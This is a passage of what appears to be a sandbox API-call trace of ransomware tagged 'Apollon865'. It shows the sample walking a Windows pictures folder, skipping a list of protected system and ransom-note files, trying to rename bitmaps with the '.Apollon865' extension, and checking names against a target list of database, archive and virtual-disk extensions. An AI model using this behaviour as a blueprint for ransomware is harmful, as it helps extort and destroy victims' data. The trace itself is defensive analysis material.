	[0080.113] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.113] CloseHandle (hObject=0x9c) returned 1
	[0080.113] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.114] CloseHandle (hObject=0x0) returned 0
	[0080.114] CloseHandle (hObject=0x0) returned 0
	[0080.114] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4184d0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4184d0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd2a53c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile27.bmp", cAlternateFileName="")) returned 1
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2=".") returned 1
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2="..") returned 1
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2="windows") returned -1
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2="bootmgr") returned 1
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2="temp") returned 1
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2="pagefile.sys") returned 1
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2="boot") returned 1
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2="ids.txt") returned 1
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2="ntuser.dat") returned 1
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2="perflogs") returned 1
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2="MSBuild") returned 1
	[0080.114] lstrlenW (lpString="usertile27.bmp") returned 14
	[0080.114] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp") returned 82
	[0080.114] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile27.bmp" | out: lpString1="usertile27.bmp") returned="usertile27.bmp"
	[0080.114] lstrlenW (lpString="usertile27.bmp") returned 14
	[0080.114] lstrlenW (lpString="Apollon865") returned 10
	[0080.114] lstrcmpiW (lpString1="tile27.bmp", lpString2="Apollon865") returned 1
	[0080.114] lstrlenW (lpString=".dll") returned 4
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2=".dll") returned 1
	[0080.114] lstrlenW (lpString=".lnk") returned 4
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2=".lnk") returned 1
	[0080.114] lstrlenW (lpString=".ini") returned 4
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2=".ini") returned 1
	[0080.114] lstrlenW (lpString=".sys") returned 4
	[0080.114] lstrcmpiW (lpString1="usertile27.bmp", lpString2=".sys") returned 1
	[0080.114] lstrlenW (lpString="usertile27.bmp") returned 14
	[0080.115] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp.Apollon865") returned 93
	[0080.115] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile27.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile27.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.115] GetLastError () returned 0x5
	[0080.115] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp MoveFileEx error 5\r\n") returned 111
	[0080.115] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp MoveFileEx error 5\r\n") returned 111
	[0080.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.115] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4eeb
	[0080.115] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.115] CloseHandle (hObject=0x9c) returned 1
	[0080.115] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.115] CloseHandle (hObject=0x0) returned 0
	[0080.116] CloseHandle (hObject=0x0) returned 0
	[0080.116] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3177db, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile28.bmp", cAlternateFileName="")) returned 1
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2=".") returned 1
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2="..") returned 1
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2="windows") returned -1
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2="bootmgr") returned 1
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2="temp") returned 1
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2="pagefile.sys") returned 1
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2="boot") returned 1
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2="ids.txt") returned 1
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2="ntuser.dat") returned 1
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2="perflogs") returned 1
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2="MSBuild") returned 1
	[0080.116] lstrlenW (lpString="usertile28.bmp") returned 14
	[0080.116] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp") returned 82
	[0080.116] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile28.bmp" | out: lpString1="usertile28.bmp") returned="usertile28.bmp"
	[0080.116] lstrlenW (lpString="usertile28.bmp") returned 14
	[0080.116] lstrlenW (lpString="Apollon865") returned 10
	[0080.116] lstrcmpiW (lpString1="tile28.bmp", lpString2="Apollon865") returned 1
	[0080.116] lstrlenW (lpString=".dll") returned 4
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2=".dll") returned 1
	[0080.116] lstrlenW (lpString=".lnk") returned 4
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2=".lnk") returned 1
	[0080.116] lstrlenW (lpString=".ini") returned 4
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2=".ini") returned 1
	[0080.116] lstrlenW (lpString=".sys") returned 4
	[0080.116] lstrcmpiW (lpString1="usertile28.bmp", lpString2=".sys") returned 1
	[0080.116] lstrlenW (lpString="usertile28.bmp") returned 14
	[0080.116] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp.Apollon865") returned 93
	[0080.117] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile28.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile28.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.117] GetLastError () returned 0x5
	[0080.117] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp MoveFileEx error 5\r\n") returned 111
	[0080.117] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp MoveFileEx error 5\r\n") returned 111
	[0080.117] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.117] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4f5a
	[0080.117] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.117] CloseHandle (hObject=0x9c) returned 1
	[0080.117] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.117] CloseHandle (hObject=0x0) returned 0
	[0080.117] CloseHandle (hObject=0x0) returned 0
	[0080.118] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd33d939, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile29.bmp", cAlternateFileName="")) returned 1
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2=".") returned 1
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2="..") returned 1
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2="windows") returned -1
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2="bootmgr") returned 1
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2="temp") returned 1
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2="pagefile.sys") returned 1
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2="boot") returned 1
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2="ids.txt") returned 1
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2="ntuser.dat") returned 1
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2="perflogs") returned 1
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2="MSBuild") returned 1
	[0080.118] lstrlenW (lpString="usertile29.bmp") returned 14
	[0080.118] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp") returned 82
	[0080.118] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile29.bmp" | out: lpString1="usertile29.bmp") returned="usertile29.bmp"
	[0080.118] lstrlenW (lpString="usertile29.bmp") returned 14
	[0080.118] lstrlenW (lpString="Apollon865") returned 10
	[0080.118] lstrcmpiW (lpString1="tile29.bmp", lpString2="Apollon865") returned 1
	[0080.118] lstrlenW (lpString=".dll") returned 4
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2=".dll") returned 1
	[0080.118] lstrlenW (lpString=".lnk") returned 4
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2=".lnk") returned 1
	[0080.118] lstrlenW (lpString=".ini") returned 4
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2=".ini") returned 1
	[0080.118] lstrlenW (lpString=".sys") returned 4
	[0080.118] lstrcmpiW (lpString1="usertile29.bmp", lpString2=".sys") returned 1
	[0080.118] lstrlenW (lpString="usertile29.bmp") returned 14
	[0080.118] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp.Apollon865") returned 93
	[0080.118] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile29.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile29.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.119] GetLastError () returned 0x5
	[0080.119] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp MoveFileEx error 5\r\n") returned 111
	[0080.119] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp MoveFileEx error 5\r\n") returned 111
	[0080.119] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.119] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4fc9
	[0080.119] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.119] CloseHandle (hObject=0x9c) returned 1
	[0080.119] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.119] CloseHandle (hObject=0x0) returned 0
	[0080.120] CloseHandle (hObject=0x0) returned 0
	[0080.120] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae46478a, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae46478a, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile30.bmp", cAlternateFileName="")) returned 1
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2=".") returned 1
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2="..") returned 1
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2="windows") returned -1
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2="bootmgr") returned 1
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2="temp") returned 1
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2="pagefile.sys") returned 1
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2="boot") returned 1
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2="ids.txt") returned 1
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2="ntuser.dat") returned 1
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2="perflogs") returned 1
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2="MSBuild") returned 1
	[0080.120] lstrlenW (lpString="usertile30.bmp") returned 14
	[0080.120] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp") returned 82
	[0080.120] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile30.bmp" | out: lpString1="usertile30.bmp") returned="usertile30.bmp"
	[0080.120] lstrlenW (lpString="usertile30.bmp") returned 14
	[0080.120] lstrlenW (lpString="Apollon865") returned 10
	[0080.120] lstrcmpiW (lpString1="tile30.bmp", lpString2="Apollon865") returned 1
	[0080.120] lstrlenW (lpString=".dll") returned 4
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2=".dll") returned 1
	[0080.120] lstrlenW (lpString=".lnk") returned 4
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2=".lnk") returned 1
	[0080.120] lstrlenW (lpString=".ini") returned 4
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2=".ini") returned 1
	[0080.120] lstrlenW (lpString=".sys") returned 4
	[0080.120] lstrcmpiW (lpString1="usertile30.bmp", lpString2=".sys") returned 1
	[0080.120] lstrlenW (lpString="usertile30.bmp") returned 14
	[0080.120] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp.Apollon865") returned 93
	[0080.121] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile30.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile30.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.121] GetLastError () returned 0x5
	[0080.121] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp MoveFileEx error 5\r\n") returned 111
	[0080.121] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp MoveFileEx error 5\r\n") returned 111
	[0080.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.122] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5038
	[0080.122] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.122] CloseHandle (hObject=0x9c) returned 1
	[0080.139] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.139] CloseHandle (hObject=0x0) returned 0
	[0080.139] CloseHandle (hObject=0x0) returned 0
	[0080.140] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile31.bmp", cAlternateFileName="")) returned 1
	[0080.141] lstrcmpiW (lpString1="usertile31.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.141] lstrcmpiW (lpString1="usertile31.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.141] lstrcmpiW (lpString1="usertile31.bmp", lpString2=".") returned 1
	[0080.141] lstrcmpiW (lpString1="usertile31.bmp", lpString2="..") returned 1
	[0080.141] lstrcmpiW (lpString1="usertile31.bmp", lpString2="windows") returned -1
	[0080.141] lstrcmpiW (lpString1="usertile31.bmp", lpString2="bootmgr") returned 1
	[0080.142] lstrcmpiW (lpString1="usertile31.bmp", lpString2="temp") returned 1
	[0080.142] lstrcmpiW (lpString1="usertile31.bmp", lpString2="pagefile.sys") returned 1
	[0080.142] lstrcmpiW (lpString1="usertile31.bmp", lpString2="boot") returned 1
	[0080.142] lstrcmpiW (lpString1="usertile31.bmp", lpString2="ids.txt") returned 1
	[0080.142] lstrcmpiW (lpString1="usertile31.bmp", lpString2="ntuser.dat") returned 1
	[0080.143] lstrcmpiW (lpString1="usertile31.bmp", lpString2="perflogs") returned 1
	[0080.143] lstrcmpiW (lpString1="usertile31.bmp", lpString2="MSBuild") returned 1
	[0080.143] lstrlenW (lpString="usertile31.bmp") returned 14
	[0080.145] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp") returned 82
	[0080.145] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile31.bmp" | out: lpString1="usertile31.bmp") returned="usertile31.bmp"
	[0080.145] lstrlenW (lpString="usertile31.bmp") returned 14
	[0080.146] lstrlenW (lpString="Apollon865") returned 10
	[0080.146] lstrcmpiW (lpString1="tile31.bmp", lpString2="Apollon865") returned 1
	[0080.146] lstrlenW (lpString=".dll") returned 4
	[0080.146] lstrcmpiW (lpString1="usertile31.bmp", lpString2=".dll") returned 1
	[0080.146] lstrlenW (lpString=".lnk") returned 4
	[0080.146] lstrcmpiW (lpString1="usertile31.bmp", lpString2=".lnk") returned 1
	[0080.146] lstrlenW (lpString=".ini") returned 4
	[0080.146] lstrcmpiW (lpString1="usertile31.bmp", lpString2=".ini") returned 1
	[0080.146] lstrlenW (lpString=".sys") returned 4
	[0080.146] lstrcmpiW (lpString1="usertile31.bmp", lpString2=".sys") returned 1
	[0080.146] lstrlenW (lpString="usertile31.bmp") returned 14
	[0080.146] lstrlenW (lpString="bak") returned 3
	[0080.146] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1
	[0080.146] lstrlenW (lpString="ba_") returned 3
	[0080.147] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1
	[0080.147] lstrlenW (lpString="dbb") returned 3
	[0080.147] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1
	[0080.147] lstrlenW (lpString="vmdk") returned 4
	[0080.147] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1
	[0080.147] lstrlenW (lpString="rar") returned 3
	[0080.147] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1
	[0080.147] lstrlenW (lpString="zip") returned 3
	[0080.147] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1
	[0080.147] lstrlenW (lpString="tgz") returned 3
	[0080.147] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1
	[0080.147] lstrlenW (lpString="vbox") returned 4
	[0080.147] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1
	[0080.147] lstrlenW (lpString="vdi") returned 3
	[0080.147] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1
	[0080.147] lstrlenW (lpString="vhd") returned 3
	[0080.147] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1
	[0080.147] lstrlenW (lpString="vhdx") returned 4
	[0080.147] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1
	[0080.147] lstrlenW (lpString="avhd") returned 4
	[0080.147] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1
	[0080.147] lstrlenW (lpString="db") returned 2
	[0080.147] lstrcmpiW (lpString1="mp", lpString2="db") returned 1
	[0080.147] lstrlenW (lpString="db2") returned 3
	[0080.147] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1
	[0080.147] lstrlenW (lpString="db3") returned 3
	[0080.147] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1
	[0080.147] lstrlenW (lpString="dbf") returned 3
	[0080.147] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1
	[0080.147] lstrlenW (lpString="mdf") returned 3
	[0080.147] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1
	[0080.147] lstrlenW (lpString="mdb") returned 3
	[0080.147] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1
	[0080.147] lstrlenW (lpString="sql") returned 3
	[0080.147] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1
	[0080.147] lstrlenW (lpString="sqlite") returned 6
	[0080.147] lstrcmpiW (lpString1="31.bmp", lpString2="sqlite") returned -1
	[0080.147] lstrlenW (lpString="sqlite3") returned 7
	[0080.148] lstrcmpiW (lpString1="e31.bmp", lpString2="sqlite3") returned -1
	[0080.148] lstrlenW (lpString="sqlitedb") returned 8
	[0080.148] lstrcmpiW (lpString1="le31.bmp", lpString2="sqlitedb") returned -1
	[0080.148] lstrlenW (lpString="xml") returned 3
	[0080.148] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1
	[0080.148] lstrlenW (lpString="$er") returned 3
	[0080.148] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1
	[0080.148] lstrlenW (lpString="4dd") returned 3
	[0080.148] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1
	[0080.148] lstrlenW (lpString="4dl") returned 3
	[0080.148] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1
	[0080.148] lstrlenW (lpString="^^^") returned 3
	[0080.148] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1
	[0080.148] lstrlenW (lpString="abs") returned 3
	[0080.148] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1
	[0080.148] lstrlenW (lpString="abx") returned 3
	[0080.148] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1
	[0080.148] lstrlenW (lpString="accdb") returned 5
	[0080.148] lstrcmpiW (lpString1="1.bmp", lpString2="accdb") returned -1
	[0080.148] lstrlenW (lpString="accdc") returned 5
	[0080.148] lstrcmpiW (lpString1="1.bmp", lpString2="accdc") returned -1
	[0080.148] lstrlenW (lpString="accde") returned 5
	[0080.148] lstrcmpiW (lpString1="1.bmp", lpString2="accde") returned -1
	[0080.148] lstrlenW (lpString="accdr") returned 5
	[0080.148] lstrcmpiW (lpString1="1.bmp", lpString2="accdr") returned -1
	[0080.148] lstrlenW (lpString="accdt") returned 5
	[0080.148] lstrcmpiW (lpString1="1.bmp", lpString2="accdt") returned -1
	[0080.148] lstrlenW (lpString="accdw") returned 5
	[0080.148] lstrcmpiW (lpString1="1.bmp", lpString2="accdw") returned -1
	[0080.148] lstrlenW (lpString="accft") returned 5
	[0080.148] lstrcmpiW (lpString1="1.bmp", lpString2="accft") returned -1
	[0080.148] lstrlenW (lpString="adb") returned 3
	[0080.148] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0080.148] lstrlenW (lpString="adb") returned 3
